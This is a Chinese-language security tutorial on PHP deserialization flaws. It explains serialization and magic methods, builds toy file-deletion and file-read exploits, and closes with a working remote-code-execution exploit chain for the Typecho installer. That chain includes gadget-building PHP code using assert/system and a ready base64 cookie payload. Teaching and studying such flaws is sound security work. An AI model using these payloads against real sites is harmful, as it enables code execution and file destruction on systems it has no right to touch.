标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2927]   作者: 须臾 发表于: [2021-09-09]

本文共 [348] 位读者顶过

序列化:将对象转换成一个字符串,PHP序列化函数是:serialize() [出自:jiwo.org]

反序列化:将序列化后的字符串还原为一个对象,PHP反序列化函数是:unserialize()

在说反序列化漏洞之前我们先了解一下对象概念:

我们举个例子,如果把生物当成一个大类,那么就可以分为动物和植物两个类,而动物又可以分为食草动物和杂食动物,那有人可能会问了,为什么这么分呢?

因为动物都有嘴,需要吃东西,植物都需要土空气和水,都会吸取养分,那么这些分类我们可以看成php中的类,动物的嘴和植物需要的土空气水都可以当作属性,动物吃东西和植物吸取养分都可以当作方法。世间的万物我们都可以看成是对象,因为他们都有各自的属性。比如:人有身高,体重,年龄,性别等等这些属性,也可以唱歌,跳舞,跑步等等行为。如果把人看成一个类的话,那么身高,体重,年龄,性别这些就是人这个类的属性,而唱歌,跳舞,跑步就是人这个类的行为。

我们来创建一个人类看看,首先要考虑到这个人的姓名(zhangsan),性别(男),年龄(50),还有它会的技能(会忽悠)。


<?php
class zhangsan{


    public $sex = '男';


    public $age = '50';


    public function skill(){
        echo "没病走两步";
    }
}

class就是定义这个类,$sex就是这个人的性别,$age就是方法,$skill()就是它的技能,那么把类变成对象就很简单了,只需要new一下就变成对象了。


$belles =  new zhangsan();
// 看看它的年龄
echo $belles->age;
// 换行
echo "\n\r";
// 看看它的技能
echo $belles->skill();

看看运行结果:

这就是一个简单的对象了,那我们就将它序列化和反序列化一下。


$belles =  new zhangsan();
echo serialize($belles);
echo "\n\r";
unserialize('O:8:"zhangsan":2:{s:3:"sex";s:3:"男";s:3:"age";s:2:"50";}');
// 看看它的年龄
echo $belles->age;

我们可以看到实例化就是把对象转换成字符串,反序列化就是把字符串在变成对象,之后就可以使用对象的功能了。

再来看看与PHP反序列化漏洞有关的魔法函数,这些函数不用创建,默认存在的。


__destruct()    //对象被销毁时触发
__construct()   //当一个对象创建时被调用
__wakeup()      //使用unserialize时触发
__sleep()       //使用serialize时触发
__toString()    //把类当作字符串使用时触发
__get()         //获取不存在的类属性时触发
__set()         //设置不存在的类属性会触发
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发
__invoke()      //当脚本尝试将对象调用为函数时触发

魔术方法的触发条件:


<?php
class Pers
{
    public $age = '18';
    public function __construct(){
        echo '创建对象触发'."\n\r";
    }
    public function __destruct(){
        echo '销毁对象触发';
    }
}


$per = new Pers();  // 创建对象,触发__construct魔术方法
unset($per);        // 销毁对象,触发__destruct魔术方法

可以看到对象在创建的时候调用了construct方法,在销毁的时候调用了destruct方法。


<?php
class Pers
{
    public $age = '18';
    public function __sleep(){
        echo '使用serialize时触发'."\n\r";
        return(array('age'));
    }
    public function __wakeup(){
        echo '使用unserialize时触发';
    }
}


$per = new Pers();
serialize($per);        // 序列化,触发__sleep魔术方法
unserialize('O:4:"Pers":1:{s:3:"age";s:2:"18";}'); // 反序列化,触发__wakeup魔术方法

可以看到对象在实例化的时候触发了sleep方法,在反序列化的时候触发了wakeup方法。


<?php
class Pers
{
    public $age = '18';


    public function __toString(){
        return '对象当作字符串使用时触发'."\n\r";
    }
    public function __get($p){
        echo '获取类不存在的方法会触发'."\n\r";
    }
    public function __set($n,$v){
        echo "设置不存在的类属性会触发"."\n\r";
    }
}
$per = new Pers();
$per->age = '20';
echo $per;          // 把对象当成字符串输出
$per->p1;           // 获取类不存在的属性
$per->n = 'aa';     // 设置类不存在的属性

对象在echo的时候会把对象当成字符串就会触发__toString方法,获取类不存在的属性p1,触发__get魔术方法,设置类不存在的属性n,触发__set魔术方法。


<?php
class Pers
{
    public $age = '18';


    public function __isset($p){
        echo "判断属性是否存在的时候触发"."\n\r";
    }
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删不存在的属性时自动调用的"."\n\r";
    }
    public function __invoke($content) {
        echo "把一个对象当成一个函数去执行"."\n\r";
    }
}


$per = new Pers();
$per->age = '20';
isset($per->aaa);  // 判断属性是否存在
unset($per->ages);  // 删除不存在的属性
$per('111');        // 把对象当作函数

判断属性是否存在的时候触发__isset魔术方法,删除不存在的属性时候触发__unset魔术方法,把对象当作函数的时候触发__invoke魔术方法。

小案例1

先修改值,然后序列化。


// demo1.php
<?php
class delete{
    public $name = 'error';
    function __destruct()
{
        echo $this->name.'<br>';
        echo $this->name . ' delete';
        unlink(dirname(__FILE__).'/'.$this->name);
    }
}


// demo2.php
<?php
include 'demo1.php';
class per{
    public $name = '';
    public $age = '';
    public function infos(){
        echo '这里随便';
    }
}
$pers = unserialize($_GET['id']);

分析一下上面的代码,可以看到直接获取id,这个参数可控,我们可以把这个参数输入成delete类的实例化,并把delete类中的$name的参数进行修改成我们想要的,就可以造成文件删除,下面来构造一下Exploit:


// 序列化 demo1.php
<?php
class delete{
    public $name = 'error';
}
$del = new delete();
$del->name = 'ccc.php';
echo serialize($del);


// demo2.php?id=O:6:"delete":1:{s:4:"name";s:7:"ccc.php";}

小案例2


// demo3.php
<?php
class red{
    public $name = 'error';
    function __toString()
{
        // echo $this->name;
        return file_get_contents($this->name);
    }
}


// demo4.php
<?php
include 'demo3.php';
class per{
    public $name = '';
    public $age = '';
    public function infos(){
        echo '这里随便';
    }
}
$pers = unserialize($_GET['id']);
echo $pers;

我们可以看到id参数同样可控的,red类有一个__toString方法,这个方法上面说到了,只要当成字符串使用就会自动调用,可以构造下面的Exploit,来查看文件内容。


// 序列化 demo1.php
<?php
class red{
    public $name = 'error';
}
$del = new red();
$del->name = 'ccc.txt';
echo serialize($del);

Typecho安装文件反序列化漏洞

漏洞代码分析:


// 要让代码执行到这里需要满足一些条件:
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}


// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }


    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }


    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}


// install.php
<?php
// 先调用了Typecho_Cookie::get()方法获取Cookie中的__typecho_config的值,在base64解密
// 由此可以判断出poc应该进行base64加密放在cookie中
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
// 然后调用Typecho_Db
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>


// 在Typecho_Db方法中进入到__construct方法
public function __construct($adapterName, $prefix = 'typecho_')
{
    $this->_adapterName = $adapterName;
    // 这里进行的拼接操作,这里可以判断出可能会触发类的__toString()方法
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    // ...省略
}


// 其中有三个类有使用__toString()方法:
// var/Typecho/Config.php
// var/Typecho/Feed.php
// var/Typecho/Db/Query.php
// 其中Feed可以利用,在Feed__toString()方法中的290行
foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    // 在这里,我们可以控制变量为不可访问的属性phpinfo();,这时候可以判断出可能会触发类的__get()魔术方法
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;


// 在文件Request.php中的__get()方法中,获取到了screenName
public function __get($key)
{
    echo $key;exit;//screenName
    return $this->get($key);
    // 跟进$this->get($key)就是获取screenName的值为phpinfo(),很简单不写了,然后他调了return $this->_applyFilter($value);
}


// 再跟进$this->_applyFilter($value)
private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            var_dump($filter.'--'. $value);exit;
            // 这里可以看到获取了两个值 "assert--phpinfo()",并交给call_user_func处理
            $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
            //。。。省略

我们再来回顾一边漏洞产生的步骤:

1.从Cookie或者POST的数据中寻找到'__typecho_config'字段。

2.然后调用'__typecho_config'中的'adapter'和'prefix'实例化一个Typecho_Db类。

3.在实例化过程中,采用了字符串拼接访问了'adapter',当我们设置的'adapter'字段是一个类的话,就会触发这个类的__toString()魔术方法。

4.寻找到Feed这个类中的__toString() 魔术方法,访问了$item['author']->screenName。

5.当$item['author']->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法

6.Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在。

7.将params[$key]的值传入applyFilter()方法,并执行代码。

// Exploit如下:


<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;


    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}


class Typecho_Request
{
    private $_params = array();
    private $_filter = array();


    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
    // 执行系统命令
    // public function __construct(){
    //     $this->_params['screenName'] = 'ipconfig';
    //     $this->_filter[0] = 'system';
    // }
}


$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);


echo base64_encode(serialize($exp));


// payload
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjg6ImlwY29uZmlnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODoiaXBjb25maWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

复现漏洞:

将payload传入cookie中。

评论

暂无
发表评论
 返回顶部 
热度(348)
 关注微信